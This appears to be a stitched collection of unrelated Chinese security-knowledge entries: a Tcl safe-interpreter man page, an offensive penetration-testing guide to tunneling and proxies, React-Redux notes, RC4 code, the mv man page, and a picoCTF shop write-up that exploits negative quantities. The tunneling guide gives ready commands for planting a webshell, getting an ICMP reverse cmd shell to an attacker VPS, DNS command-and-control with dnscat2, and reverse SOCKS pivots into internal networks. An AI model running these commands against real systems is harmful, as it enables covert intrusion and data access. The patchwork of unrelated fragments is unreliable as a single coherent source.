在从解释器中删除给 \fIsrcCmd\fR 的别名。\fIsrcCmd\fR 参照在其下建立别名的那个名字;如果源命令已经被重命名,则删除重命名后的命令。
.TP
\fIslave \fBalias \fIsrcCmd targetCmd \fR?\fIarg ..\fR?
建立一个别名,当在\fIslave \fR中调用 \fIsrcCmd\fR 的时候, 在主解释器中调用 \fItargetCmd \fR。把 \fIarg\fR 参数作为补充的参数传递给 \fItargetCmd\fR ,这些参数在 \fIsrcCmd \fR的调用中传递的任何参数之前。详情参见下面的ALIAS INVOCATION (别名调用)章节。
.TP
\fIslave \fBeval \fIarg \fR?\fIarg ..\fR?
这个命令用与 \fBconcat\fR 命令相同的方式串联所有的 \fIarg\fR 参数,接着在\fI slave \fR中把结果字符串作为一个 Tcl 脚本来求值。把这个求值的结果(如果有错误发生,包括象 \fBerrorInfo\fR 和 \fBerrorCode\fR 变量这样的错误信息)返回给调用(命令)的解释器。
.VS "" BR
.TP
\fIslave \fBexpose \fIhiddenName \fR?\fIexposedCmdName\fR?
这个命令暴露在 \fIslave \fR的隐藏的命令 \fIhiddenName\fR,最终把它带回在一个新的\fIexposedCmdName\fR 名字之下(目前只接受没有任何:: 的一个全局名字空间名字)。如果有目标名字的一个暴露的命令已经存在,这个命令失败。隐藏命令的详情参见下面的HIDDEN COMMANDS (隐藏命令)章节。
.TP
\fIslave \fBhide \fIexposedCmdName\fR ?\fIhiddenCmdName\fR?
这个命令隐藏在从解释器中暴露的命令 \fIexposedCmdName\fR,并把它重命名成隐藏命令 \fIhiddenCmdName\fR,如果未给出\fIhiddenCmdName\fR 则保持相同的名字。如果有目标名字的一个隐藏的命令已经存在,这个命令失败。目前 \fIexposedCmdName\fR和 \fIhiddenCmdName\fR二者不能不能包含名字空间限定符,否则将引发一个错误。即使当前名字空间不是全局名字空间,仍在全局名字空间中查找要被隐藏的命令。这防止从解释器通过使当前的名字空间不同于全局名字空间(的方式),来愚弄主解释器去隐藏错误的命令。隐藏命令的详情参见下面的HIDDEN COMMANDS (隐藏命令)章节。
.TP
\fIslave \fBhidden\fR
返回在 \fIslave \fR中所有隐藏的名字的一个列表。
.TP
\fIslave \fBinvokehidden\fR ?\fB-global\fR \fIhiddenName \fR?\fIarg ..\fR?
这个命令在 \fIslave \fR中用提供的参数调用隐藏的命令 \fIhiddenName\fR。对这些参数不进行求值或替换。如果给出了 \fB-global\fR标志,则在这个从解释器的全局层次上调用这个命令;否则在当前调用框架上调用它并可访问这个调用框架内部或外部的局部变量。隐藏命令的详情参见下面的HIDDEN COMMANDS (隐藏命令)章节。
.VE
.TP
\fIslave \fBissafe\fR
如果从解释器是安全的则返回 \fB1\fR,否则返回 \fB0\fR。
.VS "" BR
.TP
\fIslave \fBmarktrusted\fR
标记从解释器为可以信任的。只可以被可信任的解释器调用。这个命令不暴露在这个从解释器中的任何隐含命令。如果这个命令已经是可以信任的了,则这个命令没有影响。
.VE
.SH "安全解释器 SAFE INTERPRETERS"
.PP
一个安全解释器是一个功能受限制的解释器,所以执行从最恶毒的敌人那里来的任意脚本都是安全的而不用害怕这个脚本毁坏包围它的(enclosing)应用或你的计算环境的其余部分。要使一个解释器安全,要从这个解释器中删除特定的命令和变量。例如,删除在磁盘上建立文件的命令,和删除\fBexec\fR命令,因为它可通过子进程导致破坏。通过建立到主解释器的别名,它小心的检查它们的参数并提供对设施的一个安全子集的受限制的访问,可以提供对这些设施的有限的访问。例如,在一个特定的子目录中允许文件建立,和允许对仔细选择的和一个固定的程序的集合的子进程调用。
.PP
通过给 \fBinterp create \fR命令指定 \fB-safe\fR开关来建立一个安全的解释器。进而,一个安全解释器建立的任何从解释器都是安全的。
.PP
建立的安全解释器准确的有下列的内置的命令集:
.DS
.ta 1.2i 2.4i 3.6i
\fBafter append array binary
break case catch clock
close concat continue eof
error eval expr fblocked
fcopy fileevent flush for
foreach format gets global
history if incr info
interp join lappend lindex
linsert list llength lrange
lreplace lsearch lsort namespace
package pid proc puts
read regexp regsub rename
return scan seek set
split string subst switch
tell trace unset update
uplevel upvar variable vwait
while\fR
.DE
.VS "" BR
\fBinterp create\fR 建立一个安全解释器时下列命令是隐藏的:
.DS
.ta 1.2i 2.4i 3.6i
\fBcd exec exit fconfigure
file glob load open
pwd socket source vwait\fR
.DE
以后这些命令可以作为 Tcl 过程或别名来重新建立,或用 \fBinterp expose\fR暴露出来。
.VE
.PP
除此之外,在一个安全解释器中不存在 \fBenv\fR变量,所以不能同其他解释器共享环境变量。\fBenv\fR 变量可能造成一次安全冒险,因为用户可能在某个环境变量中存储敏感信息。例如,PGP 手册建议在环境变量 \fIPGPPASS \fR中存储 PGP 私有密钥。让不可信任代码可以在安全解释器中访问这个变量将招致一次安全冒险。
.PP
如果扩展被装载到安全解释器中,它们也可以限制它们自己功能来排除不安全的命令。对扩展的安全性的管理的讨论参见\fBSafe-Tcl\fR 和 \fBload\fR Tcl 命令的手册条目。
.SH "别名调用 ALIAS INVOCATION"
.PP
精心的设计了别名机制,所以在安全的从解释器中执行不可信任的脚本是安全的而别名的目标是一个可信任的主解释器。最保证安全性的最重要的事情是确保从从解释器传递到主解释器的信息在主解释器中永不被求值或替换;如果这种情况发生了,它将开启在从解释器中的某个邪恶的脚本来在主解释器中调用任意函数,这将危及安全。
.PP
当从解释器中调用一个别名的源(命令)的时候,在分析这个命令时进行常规的 Tcl 替换。在源解释器中完成这些替换,就象对在这个解释器中的调用的其他命令一样。源命令的命令过程接受它的参数并把它们与给这个别名的 \fItargetCmd\fR和 \fIarg\fRs 融合起来建立一个新的参数数组。如果 \fIsrcCmd\fR的字是``\fIsrcCmd arg1 arg2 ... argN\fR'',则新的字集将是``\fItargetCmd arg arg ... arg arg1 arg2 ... argN\fR''。这里的 \fItargetCmd\fR和 \fIarg\fRs 是在建立别名的时候提供的值。接着用 \fITargetCmd\fR来在目标解释器中定位(locate)一个命令过程,并且用新的参数集来调用这个命令过程。如果在目标解释器中没有叫做 \fItargetCmd\fR 的命令则发生一个错误。在这个字上不进行补充的替换:不通过常规的 Tcl 求值机制,直接调用目标命令过程。所以在每个字上精确的进行一次替换: 在分析建立这个别名的命令的时候替换 \fItargetCmd\fR 和 \fIargs\fR,当在源解释器中分析这个别名的源命令的时候替换 \fIarg1 - argN\fR。
.PP
在安全解释器中给别名写 \fItargetCmd\fRs 的时候,给它的参数永远不被求值或替换是非常重要的,因为这将提供一种逃逸机制,使从解释器可以执行在主解释器中的任意代码。这将危及系统的安全。
.VS
.SH "隐藏命令 HIDDEN COMMANDS"
.PP
安全解释器严重的限制了在其中执行的 Tcl 程序可获得的功能。允许不可信任的 Tcl 程序访问这些功能是不安全的,因为它们可以在这个环境中被用于各种攻击。但是,有时在安全解释器的上下文中有使用危险的功能的合理需要。例如,有时一个程序必须 \fBsource \fR到解释器中。另一个例子是 Tk,在这里窗口被绑定到与一个特定解释器关联的窗口层次当中;一些潜在的危险函数,比如窗口管理,必须在这个解释器上下文中的那些窗口上进行。
.PP
\fBinterp\fR 命令提供了对这个问题的一种\fI隐藏命令\fR形式的解决方案。不是从安全解释器中整个的删除危险的命令,而是隐藏这些命令,所以它们变成对在这个解释器中执行的 Tcl 脚本是不可获得的。但是,这个安全解释器的任何可信任的祖先可以使用 \fBinterp invoke\fR,在这个安全解释器的上下文中,调用这些隐藏命令。隐藏命令和暴露命令驻留在分开的名字空间中。在一个解释器中可以定义叫相同名字的隐藏命令和暴露命令。
.PP
在别名调用期间,在主解释器中调用的过程体中可以调用在从解释器中的隐藏命令。例如,在一个从解释器中可以给 \fBsource\fR 建立一个别名。当在这个从解释器中调用它的时候,调用在主解释器中的一个过程来检查这个操作是否是允许的(比如,是否允许这个从解释器访问的它要求source 的文件)。接着这个过程在从解释器中调用隐藏的 \fBsource\fR命令来实际装载(source)这个文件的内容。注意在从解释器中存在来着两个叫 \fBsource\fR 的命令: 别名和隐藏命令。
.PP
因为一个主解释器可以把调用一个隐藏命令作为处理一个别名调用的一部分,必须非常小心的避免对通过别名调用传递来的任何参数进行求值。否则,恶意的从解释器可以导致一个可信任的代表它们来执行危险的命令。这个主题的完整讨论参见ALIAS INVOCATION (别名调用)章节。要避免这个问题,对 \fBinterp invokehidden\fR的参数不要进行替换或求值。
.PP
不允许安全解释器调用它自身中或它后代中的隐藏命令。这防止安全从解释器访问在自身中或它们的后代中的隐藏命令。
.PP
一个可信任的解释器可以使用 \fBinterp expose\fR和 \fBinterp hide \fR来操纵一个解释器中的隐藏命令的集合。\fBinterp expose\fR 命令把在用 \fIpath \fR标识的解释器中一个隐藏命令移动到暴露命令的集合中,在这个过程中可能重命名这个命令。如果叫目标名字的一个暴露的命令已经存在,这个操作失败。类似的,\fBinterp hide\fR 把在这个解释器中的一个暴露命令移动到隐藏命令的集合中。不允许安全解释器在它自身中或它的后代中的隐藏命令和暴露命令的集合之间移动命令。
.PP
目前,隐藏命令的名字不能包含名字空间限定符,并且在你可以隐藏它之前必须首先把在一个名字空间中的命令重命令到全局名字空中。在全局名字空间中查找要被 \fBinterp hide\fR 隐藏的命令。这防止从解释器通过使当前的名字空间不同于全局名字空间(的方式),来愚弄主解释器去隐藏错误的命令。
.VE
.SH "感谢 CREDITS"
.PP
这个机制基于由 Nathaniel Borenstein 和 Marshall Rose 实现的 Safe-Tcl
原型。
.SH "参见 SEE ALSO"
load(n), safe(n), Tcl_CreateSlave(3)
.SH "关键字 KEYWORDS"
alias, master interpreter, safe interpreter, slave interpreter
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/10/09
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
原文 by [RcoIl的窝](http://rcoil.me/2017/06/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95-%E4%B9%8B-%E4%BB%A3%E7%90%86%E7%AF%87/)
服务器处于内网,可以访问外部网络。
服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接。
服务器处于内网,对外只开放了80端口,并且服务器不能访问外网网络。
对于以上三种情况,传统的方法可以突破1和2二种(全都可以理解为lcx),第3种可以使用SOCKS代理。
代理小技巧
## 判断什么端口能出来
### VISTA 以下
* TCP
`FOR /L %i IN (1,1,65535) DO (cmd /c "start /b telnet 151.101.73.147 %i")`
用 TELNET 不停的连接你的 1-65535 端口, 你本地开个 TCPDUMP 就行了, 如果连通了, 就 OK 。
* UDP
`FOR /L %i IN (1,1,65535) DO (cmd /c "start /b nslookup -port=%i rcoil.me 151.101.73.147")`
这个速度慢,但是有效。
### VISTA 以后
* TCP
```
function sT($IP,$Port) {$Address = [system.net.IPAddress]::Parse($IP);$End = New-Object System.Net.IPEndPoint $address, $port;$Saddrf = [System.Net.Sockets.AddressFamily]::InterNetwork;$Stype = [System.Net.Sockets.SocketType]::Stream;$Ptype = [System.Net.Sockets.ProtocolType]::TCP;$Sock = New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype;$Sock.TTL = 26;try { $sock.Connect($End);[Byte[]] $Message = [char[]]"w00tw00t";$Sent = $Sock.Send($Message);$sock.EndConnect($Connect)} catch {};$Sock.Close();};1..65535 | %{ sT -IP "151.101.73.147" -Port $_ }
```
* UDP
```
function sU($IP, [int]$Port){$Address = [system.net.IPAddress]::Parse($IP);$End = New-Object System.Net.IPEndPoint($Address, $port);$Saddrf=[System.Net.Sockets.AddressFamily]::InterNetwork;$Stype=[System.Net.Sockets.SocketType]::Dgram;$Ptype=[System.Net.Sockets.ProtocolType]::UDP;$Sock=New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype;$Sock.TTL = 26;$sock.Connect($end);$Enc=[System.Text.Encoding]::ASCII;$Message = "w00tw00t";$Buffer=$Enc.GetBytes($Message);$Sent=$Sock.Send($Buffer);}; 1..65535 | %{ sU -IP "151.101.73.147" -Port $_ }
```
## SSH隧道
编辑/etc/ssh/sshd_config文件(服务器端)中:
```
GatewayPorts yes
PermitRootLogin yes
PermitTunnel yes #Tunnel启用
ClientAliveInterval 60 #指定了服务器端向客户端请求消息的时间间隔,
ClientAliveCountMax 3 #请求后客户端没有响应的次数达到3次, 就自动断开
```
接着重启ssh服务
参数详解:
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-N:Do not execute a remote command. 不执行远程命令,端口转发就用它了。
-C:该参数将使ssh压缩所有通过Secure Shell客户端发送的数据,包括输入、输出、错误消息及转发数据。它使用gzip算法,压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样,你可以利用配制文件针对每台主机配置这个参数。
-f:该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行),然后将连接送往后台。并推荐加上 -n 参数
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-R:远程转发
-L:本地转发
-D:...
### 端口转发
```
ssh -qTfnN -L hostport:host:port -l user remote_ip #正向隧道
ssh -qTfnN -R port:host:hostport -l user remote_ip #反向隧道
```
举个例子
```
ssh -N -R 5555:192.168.2.100:5556 username@host # 5555是本地端口,本地访问5555就是访问vps的5556。
ssh -N -R 5555:192.168.2.100:5556 username@host # 5555是vps的端口,访问vps的5555就是访问本地的5556。
```
### 正向代理
```
SSH -qTfnN -D port remotehost #直接进行socks代理
ssh -qTfnN -D 6080 user@theserver #在本地终端中运行
```
然后在浏览器或者软件中设置好代理参数
socks5: 127.0.0.1:6080 后便可以使用.
-q:静默运行
### 远程转发(反向)
第一步:
sudo python -m SimpleHTTPServer 80
在目标机子开启80端口服务
第二步:
`ssh -p 22 -qngfNTR 6666:localhost:22 VPS-user@VPS`
这样就把目标本地的22端口转发到了远程机器(VPS)的6666端口
第三步:
个人PC机器直接使用语句:
`ssh -p 6666 -qngfNTD 6767 内网用户@VPS`
这样就可以直接穿透网络,进入到内网,本地机器直接使用SOCKS5代理127.0.0.1:6767便能够直接访问到目标内网当中
## ICMP隧道
ICMP隧道是通过将任意数据注入发送到远程计算机的回送数据包来工作的。要判断是否能使用ICMP隧道,我们只需要关注一件事情:可以ping一个外部服务器。如果能到达外部网络,,那么很有可能可以建立一个icmp隧道。缺点是需要root/administrator权限。
### icmpsh
vps上:
```
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 39.xxx.xxx.17 182.xxx.xxx.207
```
靶机上:
`icmpsh.exe -t 39.xxx.xxx.17 -d 500 -b 30 -s 128`
就会在vps上接到一个cmdshell。
## HTTP代理
### abptts
[项目地址](https://github.com/nccgroup/ABPTTS)
首先,安装好工具所需的各种py依赖库:
```
pip install pycrypto 加密库,整个数据加密都要靠这个
pip install httplib2
```
生成好服务端(webshell),-o用来指定要生成到的目录,然后把生成好的对应类型的代理脚本扔到目标网站目录中,并尝试访问该脚本,如果返回了一段类似hash的数据,说明代理端执行正常,继续进行后面的步骤即可,如下:
```
python abpttsfactory.py -o webshell
abppts_webshell
abppts_webshell_request
```


前面确认没有问题后,现在开始绑定端口,建立隧道,下面的意思就是把远端[目标机器]的3389端口和本地的1234端口进行绑定,-c用来指定webshell的配置文件[这里直接用默认的],-u 指定webshell的url,关于更多选项用法,看下工具帮助就明白了,都非常简单的:
`python abpttsclient.py -c webshell\config.txt -u "http://www.rcoil.com/abptts.aspx" -f 127.0.0.1:1234/127.0.0.1:3389`
隧道建立成功后,用相应的socks代理客户端工具[proxychains,sockscap……]连接到前面已经绑定好的本地端口[1234端口],即可访问目标内网中的资源:
```
mstsc 127.0.0.1:1234
putty ssh root@127.0.0.1 -p 1234 -i ~/.ssh/xxx/id_rsa 如果对方的ssh只允许证书登录,加载上自己的证书即可
```
## DNS隧道
不论对出站流量采取多么严格的访问控制,你可能都要允许至少对一个服务器的 DNS 请求。对手就可以利用这个防火墙上的“大洞”来偷运数据,并且建立一个非常难以限制的隐蔽命令控制信道。
### Iodine
它几乎是和hans icmp隧道工具一样的工作机制,它在它们之间创建一对tun适配器和隧道数据作为DNS查询。[使用手册](http://dev.kryo.se/iodine/wiki/HowtoSetup)
Server端:
`iodined -f -c -P password 1.1.1.1 tunneldomain.com`
Client端:
`iodine -f -P password tunneldomain.com -r`
成功连接将直接在客户端生成地址1.1.1.2。请注意,这种隧道技术的速度相当慢。最好的办法是在生成的连接上使用ssh连接:
`ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080`
### Dnscat2
[Dnscat2](https://github.com/iagox86/dnscat2) 通过建立C&C通道递归DNS查询。此工具不需要root/administrator权限(在Windows和Linux上都可以使用),它还支持端口转发。
Server端:
`ruby ./dnscat2.rb tunneldomain.com`
Client端:
`./dnscat2 tunneldomain.com`
收到Server端的连接后,可以使用windows命令查看活动会话:
```
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
1 :: command session (debian)
2 :: sh (debian) [*]
```
要启动端口转发,请选择一个命令会话session -i :
```
dnscat2> session -i 1
New window created: 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (debian) 1>
```
使用listen [lhost:]lport rhost:rport命令转发端口:
`command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80`
这将绑定靶机上的端口8080,并将所有连接转发到10.0.0.20:80。
## TCP隧道
### shootback
[shootback](https://github.com/aploium/shootback),是由python开发的反向TCP隧道,使得NAT或防火墙后的内网机器可以被外网访问。在800并发下消耗小于1%的CPU和8MB内存。
….
## SOCKS
在实际渗透测试过程中,当我们成功的拿下第一台靶机后,此时我们又想对目标内网进一步渗透测试时,socks能够帮助我们更加快速的,方便的访问目标内网的各种资源,比传统的端口转发更加实用。
### socks代理工具
socks代理其实也可理解为一个增强版的 lcx,它在服务端监听一个服务端口,当有新的连接请求时会从socks协议中解析出访问目标的URL的目标端口,再开始执行lcx的具体功能。
网络上Socks代理工具有很多,选用的时候尽可能使用无GUI界面的工具,还有尽可能不需要安装其他依赖软件,能够支持多平台操作系统的更佳。
### Earthworm
工具网址:http://rootkiter.com/EarthWorm
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以正向、反向、多级级联等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。
目前已经有了最新版Termite,工具网址:http://rootkiter.com/Termite/
官方提供的方法就已经很好了,配套的Termite更不错,Termite中,只要节点互通,就可以任意切换代理。
### 正向 SOCKS v5 服务器
在具有公网IP时:
`./ew -s ssocksd -l 1080`
### 反弹 SOCKS v5 服务器
先在一台具有公网 ip :233.233.233.233的主机A上运行以下命令:
`./ew -s rcsocks -l 1080 -e 8888`
在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
`./ew -s rssocks -d 233.233.233.233 -e 8888`
HackTools 可通过访问=233.233.233.233:1080端口使用 rssocks 主机提供的 socks5 代理服务
### 二级级联
环境示意图:

环境说明(一):V1主机配有2块网卡,一块连通外网,一块10.255.11.8只能连接内网V2主机,无法访问内网其它资源。V2主机可以访问内网资源,但无法访问外网。
```
# V2执行,利用ssocksd方式启动8888端口的socks代理
./ew -s ssocksd -l 8888
# V1执行,将来自外部的1080端口的代理请求转发到V2的8888端口上
./ew -s lcx_tran -l 1080 -f 10.255.11.3 -g 8888
# Attack执行,使用Proxifier等建立正常的socks代理访问1080端口
```
环境说明(二):V1主机没有公网IP,也无法访问内网资源。V2主机可以访问内网资源,但无法访问外网。
```
# VPS执行,把来自外部的1080端口的流量转到本地的8888端口上
./ew –s lcx_listen –l 1080 –e 8888
# V2执行,在本地启动socks5代理并监听9999端口
./ew -s ssocksd -l 9999
# V1执行,把vps的8888端口和V2的9999进行绑定,即建立socks5通道
./ew -s lcx_slave -d 123.123.1.1 -e 8888 -f 10.255.11.3 -g 9999
# Attack执行,使用Proxifier等建立正常的socks代理访问1080端口
```
### 三级级联
再提供一个“三级级联”的本地SOCKS测试用例以供参考
环境示意图:

环境说明:Web server没有公网IP但可以访问外网,V2主机不能访问外网但可以被Web server主机访问,V3主机可被V2主机访问且能访问核心区域
```
# vps上执行,把来自外部的1080端口流量转到本地的8888端口上
./ew -s rcsocks -l 1080 -e 8888
# Web server执行,把vps的8888端口和内网V2的9999端口绑定
./ew -s lcx_slave -d 123.123.1.1 -e 8888 -f 10.255.12.2 -g 9999
# V2执行,将来自外部的7777端口和本地的9999端口进行绑定
./ew -s lcx_listen -l 9999 -e 7777
# V3执行,将本地的socks连接反弹到V2的7777端口上
./ew -s rssocks -d 10.255.12.2 -e 7777
# Attack执行,使用Proxifier等建立正常的socks代理访问1080端口
```
数据流向: Attack(SOCKS v5) -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
|
sec-knowleage
|
# Connect
> React-Redux只在组件内使用,用来连接 `store` 和 React 组件
react 组件和 redux store 之间是没有任何关系的。这一节,我们就把他们二者 connect 起来。
连接二者,需要一个专门的库,叫做 react-redux,这个是 React 官方的 Redux 对 React 的绑定。
### 安装
```npm
npm i react-redux -S
```
### 使用
具体的使用的主要涉及两个接口`Provider`和`connect`
#### `connect`方法声明
connect作用:**连接** React组件 与 Redux store
```js
//模板函数
connect([mapStateToProps], [mapDispatchToProps], [mergeProps],[options])
```
- mapStateToProps:把 store 中的数据(一部分)映射为当前组件的 props
- map 的意思是“映射”
- State 指的是 store 状态树( State Tree ),也就是 store 的实际数据
- Porps 就是属性
Store 中数据很多,当前组件需要的只是一部分,那么选取工作是在 mapStateToProps 中完成的
```js
const mapStateToProps = (state) => ({
comments: state.comments
//拿到store中的comments
})
```
上面的 `(state)` 指的就是 Store 中的comments属性,也即是 store.getState() 可以读到的内容。
具体的选取工作是用 comments: state.comments 这样的语句的完成的。
connect 完毕之后,PostBody 之中就多了一个属性:`this.props.comments`
#### `<Provider>`组件
> `<Provider store>`使组件层级中的`connect()`方法都能够获得 Redux store
只有`connect`不能工作(因为找不着 store),因为`connect`的生效范围是由`<Provider>`组件决定的
只有被 Provider 包括起来的组件中才能找得着 store,也就是才能使用 `connect`
```js
import store from './store'
//导入 store
import { Provider } from 'react-redux'
//导入 Provider
Render(){
<Provider store={store}>
//将 store 传入
<组件 />
</provider>
}
```
在有动态数据交互的组件内引用`connect`
```js
import store from './store'
import { connect } from 'react-redux'
//通过this.props.comments拿到数据
const mapStateToProps = (state) => ({
comments: state.comments
})
```
**小贴士**:调用 connect() 方法的时候使用了两个括号。这个叫作局部调用,并且这允许开发者使用 ES7 提供的修饰语法:
```js
// 这是还不稳定的语法!这可能在实际的应用中被修改或摒弃。
@connect(mapStateToProps)
export default class CounterContainer { ... }
```
**小技巧**:发出 action 时,可以不用导入 store 而直接使用 this.props 代替
### 参考
- 简书文章:[点击进入](http://www.jianshu.com/p/9873d4ccb891)
- 中文官网:[点击进入](http://www.redux.org.cn/docs/react-redux/index.html)
|
sec-knowleage
|
def KSA(key):
keylength = len(key)
S = range(256)
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i] # swap
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH MV 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
mv \- 移动(重命名)文件
.SH 概述
\fBmv\fP [\fI\,选项\/\fP]... [\fI\,\-T\/\fP] \fI\,源文件 目标文件\/\fP
.br
\fBmv\fP [\fI\,选项\/\fP]... \fI\,源文件\/\fP... \fI\,目标目录\/\fP
.br
\fBmv\fP [\fI\,选项\/\fP]... \fI\,\-t 目标目录 源文件\/\fP...
.SH 描述
.\" Add any additional description here
.PP
将源文件重命名为目标文件,或将源文件移动至指定的目标目录。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-\-backup\fP[=\fI\,控制参数\/\fP]
为每个已存在的目标文件创建一个备份
.TP
\fB\-b\fP
类似 \fB\-\-backup\fP,但是不接受参数
.TP
\fB\-f\fP, \fB\-\-force\fP
覆盖前不询问
.TP
\fB\-i\fP, \fB\-\-interactive\fP
覆盖前询问
.TP
\fB\-n\fP, \fB\-\-no\-clobber\fP
不覆盖已存在的文件
.PP
如果您指定了 \fB\-i\fP、\fB\-f\fP、\fB\-n\fP 中的多个,仅最后一个生效。
.TP
\fB\-\-strip\-trailing\-slashes\fP
去掉每个“源文件”参数尾部的斜杠
.TP
\fB\-S\fP, \fB\-\-suffix\fP=\fI\,后缀\/\fP
用给定后缀替代通常使用的备份文件后缀
.TP
\fB\-t\fP, \fB\-\-target\-directory\fP=\fI\,DIRECTORY\/\fP
将所有源文件移动至目标目录中
.TP
\fB\-T\fP, \fB\-\-no\-target\-directory\fP
将目标文件当作普通文件对待(而不是目录)
.TP
\fB\-u\fP, \fB\-\-update\fP
仅在源文件比目标文件更新,或者目标文件不存在时,才进行移动操作
.TP
\fB\-v\fP, \fB\-\-verbose\fP
解释正在发生的情况
.TP
\fB\-Z\fP, \fB\-\-context\fP
将目标文件的 SELinux 安全上下文设置为默认类型
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
备份文件的后缀为 "~",除非使用了 \fB\-\-suffix\fP 选项或 SIMPLE_BACKUP_SUFFIX
环境变量指定了其他后缀。版本控制的方式可通过 \fB\-\-backup\fP 选项或 VERSION_CONTROL 环境变量来选择。以下是可用的设置值:
.TP
none, off
不进行备份(即使使用了 \fB\-\-backup\fP 选项)
.TP
numbered, t
使用带有数字编号的备份文件进行备份
.TP
existing, nil
若带数字的备份文件已经存在则使用 numbered,否则使用 simple
.TP
simple, never
总是使用简单方式进行备份
.SH 作者
由 Mike Parker、David MacKenzie 和 Jim Meyering 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBrename\fP(2)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/mv>
.br
或者在本地使用: info \(aq(coreutils) mv invocation\(aq
|
sec-knowleage
|
# Shop
Category: Reverse Engineering, 50 points
## Description
> Best Stuff - Cheap Stuff, Buy Buy Buy...
A binary file was attached.
## Solution
Let's run the attached file:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Shop]
└─$ ./source
Welcome to the market!
=====================
You have 40 coins
Item Price Count
(0) Quiet Quiches 10 12
(1) Average Apple 15 8
(2) Fruitful Flag 100 1
(3) Sell an Item
(4) Exit
Choose an option:
```
This is a market simulator where we can buy and sell things.
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Shop]
└─$ file ./source
./source: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=PjavkptB2tPNbBJewQBD/KlDP1g_fpBnKyhti11wQ/JIWBEgtPAt3YPE6g8qd7/pWlMkjZuAYGqbSv46xuR, with debug_info, not stripped
```
It's implemented in Go so we'll skip the analysis and just play around with it a bit.
We can safely assume that we want to buy a flag, but we don't have enough money:
```
Choose an option:
2
How many do you want to buy?
1
Not enough money.
You have 40 coins
```
We can buy other things though:
```
Choose an option:
0
How many do you want to buy?
1
You have 30 coins
```
Now we can sell it.
```
Choose an option:
3
Your inventory
(0) Quiet Quiches 10 1
(1) Average Apple 15 0
(2) Fruitful Flag 100 0
What do you want to sell?
0
How many?
1
You have 40 coins
```
Let's buy something again, but try to enter a negative number when trying to sell it:
```
Choose an option:
0
How many do you want to buy?
1
You have 30 coins
Item Price Count
(0) Quiet Quiches 10 10
(1) Average Apple 15 8
(2) Fruitful Flag 100 1
(3) Sell an Item
(4) Exit
Choose an option:
3
Your inventory
(0) Quiet Quiches 10 1
(1) Average Apple 15 0
(2) Fruitful Flag 100 0
What do you want to sell?
0
How many?
-10
You have -70 coins
```
Something weird happened and we got a negative amount of coins. The program probably isn't checking for negatives/wraparounds. Let's continue with this direction:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Shop]
└─$ nc mercury.picoctf.net 42159
Welcome to the market!
=====================
You have 40 coins
Item Price Count
(0) Quiet Quiches 10 12
(1) Average Apple 15 8
(2) Fruitful Flag 100 1
(3) Sell an Item
(4) Exit
Choose an option:
3
Your inventory
(0) Quiet Quiches 10 0
(1) Average Apple 15 0
(2) Fruitful Flag 100 0
What do you want to sell?
2
How many?
-2000000000
You have 1863462952 coins
Item Price Count
(0) Quiet Quiches 10 12
(1) Average Apple 15 8
(2) Fruitful Flag 100 1
(3) Sell an Item
(4) Exit
Choose an option:
2
How many do you want to buy?
1
Flag is: [112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 55 57 55 98 50 57 50 99 125]
```
Convert the decimal to ASCII:
```python
